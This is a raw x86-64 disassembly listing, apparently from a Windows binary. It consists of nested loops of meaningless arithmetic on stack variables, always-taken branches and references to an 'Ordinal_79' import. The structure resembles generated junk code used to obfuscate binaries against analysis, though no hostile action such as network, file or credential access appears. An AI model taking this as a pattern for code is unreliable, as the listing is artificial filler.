mov dword [rsp + 0xc64], 0
jmp 0x140104f22
mov eax, dword [rsp + 0xc64]
inc eax
mov dword [rsp + 0xc64], eax
cmp dword [rsp + 0xc64], 8
jge 0x140105152
mov eax, dword [rsp + 0xc64]
add eax, 6
mov dword [rsp + 0x60c], eax
mov eax, dword [rsp + 0x60c]
add eax, 5
mov dword [rsp + 0x60c], eax
cmp dword [rsp + 0x60c], 0x12
jne 0x14010513f
mov dword [rsp + 0x5fc], 0x2a
mov eax, dword [rsp + 0x5fc]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140104f90
mov eax, dword [rsp + 0x5fc]
shl eax, 1
mov dword [rsp + 0x5fc], eax
jmp 0x140104fa1
mov eax, dword [rsp + 0x5fc]
add eax, 3
mov dword [rsp + 0x5fc], eax
mov eax, dword [rsp + 0x60c]
imul eax, dword [rsp + 0x628]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1b24], eax
mov dword [rsp + 0x13a4], 0
jmp 0x140104fdc
mov eax, dword [rsp + 0x13a4]
inc eax
mov dword [rsp + 0x13a4], eax
cmp dword [rsp + 0x13a4], 5
jge 0x14010513f
mov dword [rsp + 0x13a8], 0x4d
mov dword [rsp + 0xc68], 0
jmp 0x140105012
mov eax, dword [rsp + 0xc68]
inc eax
mov dword [rsp + 0xc68], eax
cmp dword [rsp + 0xc68], 6
jge 0x1401050be
mov eax, dword [rsp + 0xc68]
add eax, 3
mov dword [rsp + 0x604], eax
mov eax, dword [rsp + 0x604]
add eax, 2
mov dword [rsp + 0x604], eax
cmp dword [rsp + 0x604], 0xb
jne 0x1401050ab
mov dword [rsp + 0x600], 0x2a
mov eax, dword [rsp + 0x600]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14010507c
mov eax, dword [rsp + 0x600]
shl eax, 1
mov dword [rsp + 0x600], eax
jmp 0x14010508d
mov eax, dword [rsp + 0x600]
add eax, 3
mov dword [rsp + 0x600], eax
mov eax, dword [rsp + 0x604]
imul eax, dword [rsp + 0x13a8]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1b28], eax
cmp dword [rsp + 0x604], 0x12
jl 0x140105031
jmp 0x140105002
cmp dword [rsp + 0x13a8], 0x23
jle 0x14010513a
mov eax, dword [rsp + 0x13a8]
cdq
mov ecx, 5
idiv ecx
mov dword [rsp + 0x13ac], eax
mov dword [rsp + 0x608], 0x2a
mov eax, dword [rsp + 0x608]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14010510e
mov eax, dword [rsp + 0x608]
shl eax, 1
mov dword [rsp + 0x608], eax
jmp 0x14010511f
mov eax, dword [rsp + 0x608]
add eax, 3
mov dword [rsp + 0x608], eax
mov eax, dword [rsp + 0x13ac]
sub eax, 4
mov dword [rsp + 0x13ac], eax
cmp dword [rsp + 0x13ac], 0
jg 0x1401050de
jmp 0x140104fcc
cmp dword [rsp + 0x60c], 0x1e
jl 0x140104f41
jmp 0x140104f12
cmp dword [rsp + 0x628], 0x23
jle 0x1401053e2
mov eax, dword [rsp + 0x628]
cdq
mov ecx, 5
idiv ecx
mov dword [rsp + 0x13bc], eax
mov dword [rsp + 0xc6c], 0
jmp 0x140105193
mov eax, dword [rsp + 0xc6c]
inc eax
mov dword [rsp + 0xc6c], eax
cmp dword [rsp + 0xc6c], 8
jge 0x1401053c3
mov eax, dword [rsp + 0xc6c]
add eax, 6
mov dword [rsp + 0x620], eax
mov eax, dword [rsp + 0x620]
add eax, 5
mov dword [rsp + 0x620], eax
cmp dword [rsp + 0x620], 0x12
jne 0x1401053b0
mov dword [rsp + 0x610], 0x2a
mov eax, dword [rsp + 0x610]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140105201
mov eax, dword [rsp + 0x610]
shl eax, 1
mov dword [rsp + 0x610], eax
jmp 0x140105212
mov eax, dword [rsp + 0x610]
add eax, 3
mov dword [rsp + 0x610], eax
mov eax, dword [rsp + 0x620]
imul eax, dword [rsp + 0x628]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1b2c], eax
mov dword [rsp + 0x13b0], 0
jmp 0x14010524d
mov eax, dword [rsp + 0x13b0]
inc eax
mov dword [rsp + 0x13b0], eax
cmp dword [rsp + 0x13b0], 5
jge 0x1401053b0
mov dword [rsp + 0x13b4], 0x4d
mov dword [rsp + 0xc70], 0
jmp 0x140105283
mov eax, dword [rsp + 0xc70]
inc eax
mov dword [rsp + 0xc70], eax
cmp dword [rsp + 0xc70], 6
jge 0x14010532f
mov eax, dword [rsp + 0xc70]
add eax, 3
mov dword [rsp + 0x618], eax
mov eax, dword [rsp + 0x618]
add eax, 2
mov dword [rsp + 0x618], eax
cmp dword [rsp + 0x618], 0xb
jne 0x14010531c
mov dword [rsp + 0x614], 0x2a
mov eax, dword [rsp + 0x614]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1401052ed
mov eax, dword [rsp + 0x614]
shl eax, 1
mov dword [rsp + 0x614], eax
jmp 0x1401052fe
mov eax, dword [rsp + 0x614]
add eax, 3
mov dword [rsp + 0x614], eax
mov eax, dword [rsp + 0x618]
imul eax, dword [rsp + 0x13b4]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1b30], eax
cmp dword [rsp + 0x618], 0x12
jl 0x1401052a2
jmp 0x140105273
cmp dword [rsp + 0x13b4], 0x23
jle 0x1401053ab
mov eax, dword [rsp + 0x13b4]
cdq
mov ecx, 5
idiv ecx
mov dword [rsp + 0x13b8], eax
mov dword [rsp + 0x61c], 0x2a
mov eax, dword [rsp + 0x61c]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14010537f
mov eax, dword [rsp + 0x61c]
shl eax, 1
mov dword [rsp + 0x61c], eax
jmp 0x140105390
mov eax, dword [rsp + 0x61c]
add eax, 3
mov dword [rsp + 0x61c], eax
mov eax, dword [rsp + 0x13b8]
sub eax, 4
mov dword [rsp + 0x13b8], eax
cmp dword [rsp + 0x13b8], 0
jg 0x14010534f
jmp 0x14010523d
cmp dword [rsp + 0x620], 0x1e
jl 0x1401051b2
jmp 0x140105183
mov eax, dword [rsp + 0x13bc]
sub eax, 4
mov dword [rsp + 0x13bc], eax
cmp dword [rsp + 0x13bc], 0
jg 0x140105176
mov dword [rsp + 0xc74], 0
jmp 0x1401053ff
mov eax, dword [rsp + 0xc74]
inc eax
mov dword [rsp + 0xc74], eax
cmp dword [rsp + 0xc74], 8
jge 0x14010562f
mov eax, dword [rsp + 0xc74]
add eax, 6
mov dword [rsp + 0x638], eax
mov eax, dword [rsp + 0x638]
add eax, 5
mov dword [rsp + 0x638], eax
cmp dword [rsp + 0x638], 0x12
jne 0x14010561c
mov dword [rsp + 0x624], 0x2a
mov eax, dword [rsp + 0x624]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14010546d
mov eax, dword [rsp + 0x624]
shl eax, 1
mov dword [rsp + 0x624], eax
jmp 0x14010547e
mov eax, dword [rsp + 0x624]
add eax, 3
mov dword [rsp + 0x624], eax
mov eax, dword [rsp + 0x638]
imul eax, dword [rsp + 0x628]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1b34], eax
mov dword [rsp + 0x13c0], 0
jmp 0x1401054b9
mov eax, dword [rsp + 0x13c0]
inc eax
mov dword [rsp + 0x13c0], eax
cmp dword [rsp + 0x13c0], 5
jge 0x14010561c
mov dword [rsp + 0x13c4], 0x4d
mov dword [rsp + 0xc78], 0
jmp 0x1401054ef
mov eax, dword [rsp + 0xc78]
inc eax
mov dword [rsp + 0xc78], eax
cmp dword [rsp + 0xc78], 6
jge 0x14010559b
mov eax, dword [rsp + 0xc78]
add eax, 3
mov dword [rsp + 0x630], eax
mov eax, dword [rsp + 0x630]
add eax, 2
mov dword [rsp + 0x630], eax
cmp dword [rsp + 0x630], 0xb
jne 0x140105588
mov dword [rsp + 0x62c], 0x2a
mov eax, dword [rsp + 0x62c]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140105559
mov eax, dword [rsp + 0x62c]
shl eax, 1
mov dword [rsp + 0x62c], eax
jmp 0x14010556a
mov eax, dword [rsp + 0x62c]
add eax, 3
mov dword [rsp + 0x62c], eax
mov eax, dword [rsp + 0x630]
imul eax, dword [rsp + 0x13c4]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1b38], eax
cmp dword [rsp + 0x630], 0x12
jl 0x14010550e
jmp 0x1401054df
cmp dword [rsp + 0x13c4], 0x23
jle 0x140105617
mov eax, dword [rsp + 0x13c4]
cdq
mov ecx, 5
idiv ecx
mov dword [rsp + 0x13c8], eax
mov dword [rsp + 0x634], 0x2a
mov eax, dword [rsp + 0x634]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1401055eb
mov eax, dword [rsp + 0x634]
shl eax, 1
mov dword [rsp + 0x634], eax
jmp 0x1401055fc
mov eax, dword [rsp + 0x634]
add eax, 3
mov dword [rsp + 0x634], eax
mov eax, dword [rsp + 0x13c8]
sub eax, 4
mov dword [rsp + 0x13c8], eax
cmp dword [rsp + 0x13c8], 0
jg 0x1401055bb
jmp 0x1401054a9
cmp dword [rsp + 0x638], 0x1e
jl 0x14010541e
jmp 0x1401053ef
jmp 0x140104edc
jmp 0x14010583c
mov dword [rsp + 0x13cc], 0
jmp 0x140105656
mov eax, dword [rsp + 0x13cc]
inc eax
mov dword [rsp + 0x13cc], eax
cmp dword [rsp + 0x13cc], 5
jge 0x14010583c
mov dword [rsp + 0x13d0], 0x59
mov dword [rsp + 0xc7c], 0
jmp 0x14010568c
mov eax, dword [rsp + 0xc7c]
inc eax
mov dword [rsp + 0xc7c], eax
cmp dword [rsp + 0xc7c], 7
jge 0x14010577a
mov eax, dword [rsp + 0xc7c]
add eax, 4
mov dword [rsp + 0x644], eax
mov eax, dword [rsp + 0x644]
add eax, 3
mov dword [rsp + 0x644], eax
cmp dword [rsp + 0x644], 0xe
jne 0x140105767
mov dword [rsp + 0x63c], 0x2a
mov eax, dword [rsp + 0x63c]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1401056fa
mov eax, dword [rsp + 0x63c]
shl eax, 1
mov dword [rsp + 0x63c], eax
jmp 0x14010570b
mov eax, dword [rsp + 0x63c]
add eax, 3
mov dword [rsp + 0x63c], eax
mov eax, dword [rsp + 0x644]
imul eax, dword [rsp + 0x13d0]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1b3c], eax
mov dword [rsp + 0x640], 0x2a
mov eax, dword [rsp + 0x640]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140105756
mov eax, dword [rsp + 0x640]
shl eax, 1
mov dword [rsp + 0x640], eax
jmp 0x140105767
mov eax, dword [rsp + 0x640]
add eax, 3
mov dword [rsp + 0x640], eax
cmp dword [rsp + 0x644], 0x19
jl 0x1401056ab
jmp 0x14010567c
cmp dword [rsp + 0x13d0], 0x28
jle 0x1401057f6
mov eax, dword [rsp + 0x13d0]
cdq
mov ecx, 6
idiv ecx
mov dword [rsp + 0x13d4], eax
mov dword [rsp + 0x648], 0x2a
mov eax, dword [rsp + 0x648]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1401057ca
mov eax, dword [rsp + 0x648]
shl eax, 1
mov dword [rsp + 0x648], eax
jmp 0x1401057db
mov eax, dword [rsp + 0x648]
add eax, 3
mov dword [rsp + 0x648], eax
mov eax, dword [rsp + 0x13d4]
sub eax, 3
mov dword [rsp + 0x13d4], eax
cmp dword [rsp + 0x13d4], 0
jg 0x14010579a
mov dword [rsp + 0x64c], 0x2a
mov eax, dword [rsp + 0x64c]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140105826
mov eax, dword [rsp + 0x64c]
shl eax, 1
mov dword [rsp + 0x64c], eax
jmp 0x140105837
mov eax, dword [rsp + 0x64c]
add eax, 3
mov dword [rsp + 0x64c], eax
jmp 0x140105646
xor eax, eax
test eax, eax
je 0x1401066a9
xor eax, eax
test eax, eax
je 0x140105f80
mov dword [rsp + 0x13d8], 0
jmp 0x14010586d
mov eax, dword [rsp + 0x13d8]
inc eax
mov dword [rsp + 0x13d8], eax
cmp dword [rsp + 0x13d8], 5
jge 0x140105f7b
mov dword [rsp + 0x13f4], 0x3f
mov dword [rsp + 0xc80], 0
jmp 0x1401058a3
mov eax, dword [rsp + 0xc80]
inc eax
mov dword [rsp + 0xc80], eax
cmp dword [rsp + 0xc80], 6
jge 0x140105c23
mov eax, dword [rsp + 0xc80]
add eax, 5
mov dword [rsp + 0x658], eax
mov eax, dword [rsp + 0x658]
add eax, 4
mov dword [rsp + 0x658], eax
cmp dword [rsp + 0x658], 0x11
jne 0x140105c10
mov dword [rsp + 0x13dc], 0
jmp 0x1401058fe
mov eax, dword [rsp + 0x13dc]
inc eax
mov dword [rsp + 0x13dc], eax
cmp dword [rsp + 0x13dc], 5
jge 0x140105a69
mov dword [rsp + 0x13e0], 0x2a
mov dword [rsp + 0xc84], 0
jmp 0x140105934
mov eax, dword [rsp + 0xc84]
inc eax
mov dword [rsp + 0xc84], eax
cmp dword [rsp + 0xc84], 4
jge 0x1401059e3
mov eax, dword [rsp + 0xc84]
add eax, 2
mov dword [rsp + 0x650], eax
mov eax, dword [rsp + 0x650]
inc eax
mov dword [rsp + 0x650], eax
cmp dword [rsp + 0x650], 7
jne 0x1401059d0
mov dword [rsp + 0x14c], Ordinal_79
cmp dword [rsp + 0x14c], 0
jle 0x1401059b2
mov eax, dword [rsp + 0x14c]
sub eax, 5
mov dword [rsp + 0x14c], eax
cmp dword [rsp + 0x14c], 0xa
jne 0x1401059b0
mov eax, dword [rsp + 0x14c]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x14c], eax
jmp 0x140105978
mov eax, dword [rsp + 0x650]
imul eax, dword [rsp + 0x13e0]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1b40], eax
cmp dword [rsp + 0x650], 0xb
jl 0x140105953
jmp 0x140105924
cmp dword [rsp + 0x13e0], 0x14
jle 0x140105a64
mov eax, dword [rsp + 0x13e0]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0x13e4], eax
mov dword [rsp + 0x150], Ordinal_79
cmp dword [rsp + 0x150], 0
jle 0x140105a49
mov eax, dword [rsp + 0x150]
sub eax, 5
mov dword [rsp + 0x150], eax
cmp dword [rsp + 0x150], 0xa
jne 0x140105a47
mov eax, dword [rsp + 0x150]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x150], eax
jmp 0x140105a0f
mov eax, dword [rsp + 0x13e4]
sub eax, 2
mov dword [rsp + 0x13e4], eax
cmp dword [rsp + 0x13e4], 0
jg 0x140105a04
jmp 0x1401058ee
mov eax, dword [rsp + 0x658]
imul eax, dword [rsp + 0x13f4]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0x1b44], eax
mov dword [rsp + 0x13e8], 0
jmp 0x140105aa5
mov eax, dword [rsp + 0x13e8]
inc eax
mov dword [rsp + 0x13e8], eax
cmp dword [rsp + 0x13e8], 5
jge 0x140105c10
mov dword [rsp + 0x13ec], 0x2a
mov dword [rsp + 0xc88], 0
jmp 0x140105adb
mov eax, dword [rsp + 0xc88]
inc eax
mov dword [rsp + 0xc88], eax
cmp dword [rsp + 0xc88], 4
jge 0x140105b8a
mov eax, dword [rsp + 0xc88]
add eax, 2
mov dword [rsp + 0x654], eax
mov eax, dword [rsp + 0x654]
inc eax
mov dword [rsp + 0x654], eax
cmp dword [rsp + 0x654], 7
jne 0x140105b77
mov dword [rsp + 0x154], Ordinal_79
cmp dword [rsp + 0x154], 0
jle 0x140105b59
mov eax, dword [rsp + 0x154]
sub eax, 5
mov dword [rsp + 0x154], eax
cmp dword [rsp + 0x154], 0xa
jne 0x140105b57
mov eax, dword [rsp + 0x154]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x154], eax
jmp 0x140105b1f
mov eax, dword [rsp + 0x654]
imul eax, dword [rsp + 0x13ec]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1b48], eax
cmp dword [rsp + 0x654], 0xb
jl 0x140105afa
jmp 0x140105acb
cmp dword [rsp + 0x13ec], 0x14
jle 0x140105c0b
mov eax, dword [rsp + 0x13ec]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0x13f0], eax
mov dword [rsp + 0x158], Ordinal_79
cmp dword [rsp + 0x158], 0
jle 0x140105bf0
mov eax, dword [rsp + 0x158]
sub eax, 5
mov dword [rsp + 0x158], eax
cmp dword [rsp + 0x158], 0xa
jne 0x140105bee
mov eax, dword [rsp + 0x158]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x158], eax
jmp 0x140105bb6
mov eax, dword [rsp + 0x13f0]
sub eax, 2
mov dword [rsp + 0x13f0], eax
cmp dword [rsp + 0x13f0], 0
jg 0x140105bab
jmp 0x140105a95
cmp dword [rsp + 0x658], 0x1c
jl 0x1401058c2
jmp 0x140105893
cmp dword [rsp + 0x13f4], 0x1e
jle 0x140105dee
mov eax, dword [rsp + 0x13f4]
cdq
mov ecx, 7
idiv ecx
mov dword [rsp + 0x1404], eax
mov dword [rsp + 0x13f8], 0
jmp 0x140105c64
mov eax, dword [rsp + 0x13f8]
inc eax
mov dword [rsp + 0x13f8], eax
cmp dword [rsp + 0x13f8], 5
jge 0x140105dcf
mov dword [rsp + 0x13fc], 0x2a
mov dword [rsp + 0xc8c], 0
jmp 0x140105c9a
mov eax, dword [rsp + 0xc8c]
inc eax
mov dword [rsp + 0xc8c], eax
cmp dword [rsp + 0xc8c], 4
jge 0x140105d49
mov eax, dword [rsp + 0xc8c]
add eax, 2
mov dword [rsp + 0x65c], eax
mov eax, dword [rsp + 0x65c]
inc eax
mov dword [rsp + 0x65c], eax
cmp dword [rsp + 0x65c], 7
jne 0x140105d36
mov dword [rsp + 0x15c], Ordinal_79
cmp dword [rsp + 0x15c], 0
jle 0x140105d18
mov eax, dword [rsp + 0x15c]
sub eax, 5
mov dword [rsp + 0x15c], eax
cmp dword [rsp + 0x15c], 0xa
jne 0x140105d16
mov eax, dword [rsp + 0x15c]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x15c], eax
jmp 0x140105cde
mov eax, dword [rsp + 0x65c]
imul eax, dword [rsp + 0x13fc]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1b4c], eax
cmp dword [rsp + 0x65c], 0xb
jl 0x140105cb9
jmp 0x140105c8a
cmp dword [rsp + 0x13fc], 0x14
jle 0x140105dca
mov eax, dword [rsp + 0x13fc]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0x1400], eax
mov dword [rsp + 0x160], Ordinal_79
cmp dword [rsp + 0x160], 0
jle 0x140105daf
mov eax, dword [rsp + 0x160]
sub eax, 5
mov dword [rsp + 0x160], eax
cmp dword [rsp + 0x160], 0xa
jne 0x140105dad
mov eax, dword [rsp + 0x160]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x160], eax
jmp 0x140105d75
mov eax, dword [rsp + 0x1400]
sub eax, 2
mov dword [rsp + 0x1400], eax
cmp dword [rsp + 0x1400], 0
jg 0x140105d6a
jmp 0x140105c54
mov eax, dword [rsp + 0x1404]
sub eax, 2
mov dword [rsp + 0x1404], eax
cmp dword [rsp + 0x1404], 0
jg 0x140105c47
mov dword [rsp + 0x1408], 0
jmp 0x140105e0b
mov eax, dword [rsp + 0x1408]
inc eax
mov dword [rsp + 0x1408], eax
cmp dword [rsp + 0x1408], 5
jge 0x140105f76
mov dword [rsp + 0x140c], 0x2a
mov dword [rsp + 0xc90], 0
jmp 0x140105e41
mov eax, dword [rsp + 0xc90]
inc eax
mov dword [rsp + 0xc90], eax
cmp dword [rsp + 0xc90], 4
jge 0x140105ef0
mov eax, dword [rsp + 0xc90]
add eax, 2
mov dword [rsp + 0x660], eax
mov eax, dword [rsp + 0x660]
inc eax
mov dword [rsp + 0x660], eax
cmp dword [rsp + 0x660], 7
jne 0x140105edd
mov dword [rsp + 0x164], Ordinal_79
cmp dword [rsp + 0x164], 0
jle 0x140105ebf
mov eax, dword [rsp + 0x164]
sub eax, 5
mov dword [rsp + 0x164], eax
cmp dword [rsp + 0x164], 0xa
jne 0x140105ebd
mov eax, dword [rsp + 0x164]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x164], eax
jmp 0x140105e85
mov eax, dword [rsp + 0x660]
imul eax, dword [rsp + 0x140c]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1b50], eax
cmp dword [rsp + 0x660], 0xb
jl 0x140105e60
jmp 0x140105e31
cmp dword [rsp + 0x140c], 0x14
jle 0x140105f71
mov eax, dword [rsp + 0x140c]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0x1410], eax
mov dword [rsp + 0x168], Ordinal_79
cmp dword [rsp + 0x168], 0
jle 0x140105f56
mov eax, dword [rsp + 0x168]
sub eax, 5
mov dword [rsp + 0x168], eax
cmp dword [rsp + 0x168], 0xa
jne 0x140105f54
mov eax, dword [rsp + 0x168]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x168], eax
jmp 0x140105f1c
mov eax, dword [rsp + 0x1410]
sub eax, 2
mov dword [rsp + 0x1410], eax
cmp dword [rsp + 0x1410], 0
jg 0x140105f11
jmp 0x140105dfb
jmp 0x14010585d
jmp 0x1401066a9
mov dword [rsp + 0x1414], 0
jmp 0x140105f9d
mov eax, dword [rsp + 0x1414]
inc eax
mov dword [rsp + 0x1414], eax
cmp dword [rsp + 0x1414], 5
jge 0x1401066a9
mov dword [rsp + 0x1430], 0x34
mov dword [rsp + 0xc94], 0
jmp 0x140105fd3
mov eax, dword [rsp + 0xc94]
inc eax
mov dword [rsp + 0xc94], eax
cmp dword [rsp + 0xc94], 7
jge 0x140106352
mov eax, dword [rsp + 0xc94]
add eax, 4
mov dword [rsp + 0x66c], eax
mov eax, dword [rsp + 0x66c]
add eax, 3
mov dword [rsp + 0x66c], eax
cmp dword [rsp + 0x66c], 0x10
jne 0x14010633f
mov dword [rsp + 0x1418], 0
jmp 0x14010602e
mov eax, dword [rsp + 0x1418]
inc eax
mov dword [rsp + 0x1418], eax
cmp dword [rsp + 0x1418], 5
jge 0x140106199
mov dword [rsp + 0x141c], 0x2a
mov dword [rsp + 0xc98], 0
jmp 0x140106064
mov eax, dword [rsp + 0xc98]
inc eax
mov dword [rsp + 0xc98], eax
cmp dword [rsp + 0xc98], 4
jge 0x140106113
mov eax, dword [rsp + 0xc98]
add eax, 2
mov dword [rsp + 0x664], eax
mov eax, dword [rsp + 0x664]
inc eax
mov dword [rsp + 0x664], eax
cmp dword [rsp + 0x664], 7
jne 0x140106100
mov dword [rsp + 0x16c], Ordinal_79
cmp dword [rsp + 0x16c], 0
jle 0x1401060e2
mov eax, dword [rsp + 0x16c]
sub eax, 5
mov dword [rsp + 0x16c], eax
cmp dword [rsp + 0x16c], 0xa
jne 0x1401060e0
mov eax, dword [rsp + 0x16c]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x16c], eax
jmp 0x1401060a8
mov eax, dword [rsp + 0x664]
imul eax, dword [rsp + 0x141c]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1b54], eax
cmp dword [rsp + 0x664], 0xb
jl 0x140106083
jmp 0x140106054
cmp dword [rsp + 0x141c], 0x14
jle 0x140106194
mov eax, dword [rsp + 0x141c]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0x1420], eax
mov dword [rsp + 0x170], Ordinal_79
cmp dword [rsp + 0x170], 0
jle 0x140106179
mov eax, dword [rsp + 0x170]
sub eax, 5
mov dword [rsp + 0x170], eax
cmp dword [rsp + 0x170], 0xa
jne 0x140106177
mov eax, dword [rsp + 0x170]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x170], eax
jmp 0x14010613f
mov eax, dword [rsp + 0x1420]
sub eax, 2
mov dword [rsp + 0x1420], eax
cmp dword [rsp + 0x1420], 0
jg 0x140106134
jmp 0x14010601e
mov eax, dword [rsp + 0x66c]
imul eax, dword [rsp + 0x1430]
cdq
mov ecx, 5
idiv ecx
mov dword [rsp + 0x1b58], eax
mov dword [rsp + 0x1424], 0
jmp 0x1401061d4
mov eax, dword [rsp + 0x1424]
inc eax
mov dword [rsp + 0x1424], eax
cmp dword [rsp + 0x1424], 5
jge 0x14010633f
mov dword [rsp + 0x1428], 0x2a
mov dword [rsp + 0xc9c], 0
jmp 0x14010620a
mov eax, dword [rsp + 0xc9c]
inc eax
mov dword [rsp + 0xc9c], eax
cmp dword [rsp + 0xc9c], 4
jge 0x1401062b9
mov eax, dword [rsp + 0xc9c]
add eax, 2
mov dword [rsp + 0x668], eax
mov eax, dword [rsp + 0x668]
inc eax
mov dword [rsp + 0x668], eax
cmp dword [rsp + 0x668], 7
jne 0x1401062a6
mov dword [rsp + 0x174], Ordinal_79
cmp dword [rsp + 0x174], 0
jle 0x140106288
mov eax, dword [rsp + 0x174]
sub eax, 5
mov dword [rsp + 0x174], eax
cmp dword [rsp + 0x174], 0xa
jne 0x140106286
mov eax, dword [rsp + 0x174]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x174], eax
jmp 0x14010624e
mov eax, dword [rsp + 0x668]
imul eax, dword [rsp + 0x1428]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1b5c], eax
cmp dword [rsp + 0x668], 0xb
jl 0x140106229
jmp 0x1401061fa
cmp dword [rsp + 0x1428], 0x14
jle 0x14010633a
mov eax, dword [rsp + 0x1428]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0x142c], eax
mov dword [rsp + 0x178], Ordinal_79
cmp dword [rsp + 0x178], 0
jle 0x14010631f
mov eax, dword [rsp + 0x178]
sub eax, 5
mov dword [rsp + 0x178], eax
cmp dword [rsp + 0x178], 0xa
jne 0x14010631d
mov eax, dword [rsp + 0x178]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x178], eax
jmp 0x1401062e5
mov eax, dword [rsp + 0x142c]
sub eax, 2
mov dword [rsp + 0x142c], eax
cmp dword [rsp + 0x142c], 0
jg 0x1401062da
jmp 0x1401061c4
cmp dword [rsp + 0x66c], 0x1b
jl 0x140105ff2
jmp 0x140105fc3
cmp dword [rsp + 0x1430], 0x19
jle 0x14010651c
mov eax, dword [rsp + 0x1430]
cdq
mov ecx, 6
idiv ecx
mov dword [rsp + 0x1440], eax
mov dword [rsp + 0x1434], 0
jmp 0x140106393
mov eax, dword [rsp + 0x1434]
inc eax
mov dword [rsp + 0x1434], eax
cmp dword [rsp + 0x1434], 5
jge 0x1401064fe
mov dword [rsp + 0x1438], 0x2a
mov dword [rsp + 0xca0], 0
jmp 0x1401063c9
mov eax, dword [rsp + 0xca0]
inc eax
mov dword [rsp + 0xca0], eax
cmp dword [rsp + 0xca0], 4
jge 0x140106478
mov eax, dword [rsp + 0xca0]
add eax, 2
mov dword [rsp + 0x670], eax
mov eax, dword [rsp + 0x670]
inc eax
mov dword [rsp + 0x670], eax
cmp dword [rsp + 0x670], 7
jne 0x140106465
mov dword [rsp + 0x17c], Ordinal_79
cmp dword [rsp + 0x17c], 0
jle 0x140106447
mov eax, dword [rsp + 0x17c]
sub eax, 5
mov dword [rsp + 0x17c], eax
cmp dword [rsp + 0x17c], 0xa
jne 0x140106445
mov eax, dword [rsp + 0x17c]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x17c], eax
jmp 0x14010640d
mov eax, dword [rsp + 0x670]
imul eax, dword [rsp + 0x1438]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1b60], eax
cmp dword [rsp + 0x670], 0xb
jl 0x1401063e8
jmp 0x1401063b9
cmp dword [rsp + 0x1438], 0x14
jle 0x1401064f9
mov eax, dword [rsp + 0x1438]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0x143c], eax
mov dword [rsp + 0x180], Ordinal_79
cmp dword [rsp + 0x180], 0
jle 0x1401064de
mov eax, dword [rsp + 0x180]
sub eax, 5
mov dword [rsp + 0x180], eax
cmp dword [rsp + 0x180], 0xa
jne 0x1401064dc
mov eax, dword [rsp + 0x180]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x180], eax
jmp 0x1401064a4
mov eax, dword [rsp + 0x143c]
sub eax, 2
mov dword [rsp + 0x143c], eax
cmp dword [rsp + 0x143c], 0
jg 0x140106499
jmp 0x140106383
mov eax, dword [rsp + 0x1440]
dec eax
mov dword [rsp + 0x1440], eax
cmp dword [rsp + 0x1440], 0
jg 0x140106376
mov dword [rsp + 0x1444], 0
jmp 0x140106539
mov eax, dword [rsp + 0x1444]
inc eax
mov dword [rsp + 0x1444], eax
cmp dword [rsp + 0x1444], 5
jge 0x1401066a4
mov dword [rsp + 0x1448], 0x2a
mov dword [rsp + 0xca4], 0
jmp 0x14010656f
mov eax, dword [rsp + 0xca4]
inc eax
mov dword [rsp + 0xca4], eax
cmp dword [rsp + 0xca4], 4
jge 0x14010661e
mov eax, dword [rsp + 0xca4]
add eax, 2
mov dword [rsp + 0x674], eax
mov eax, dword [rsp + 0x674]
inc eax
mov dword [rsp + 0x674], eax
cmp dword [rsp + 0x674], 7
jne 0x14010660b
mov dword [rsp + 0x184], Ordinal_79
cmp dword [rsp + 0x184], 0
jle 0x1401065ed
mov eax, dword [rsp + 0x184]
sub eax, 5
mov dword [rsp + 0x184], eax
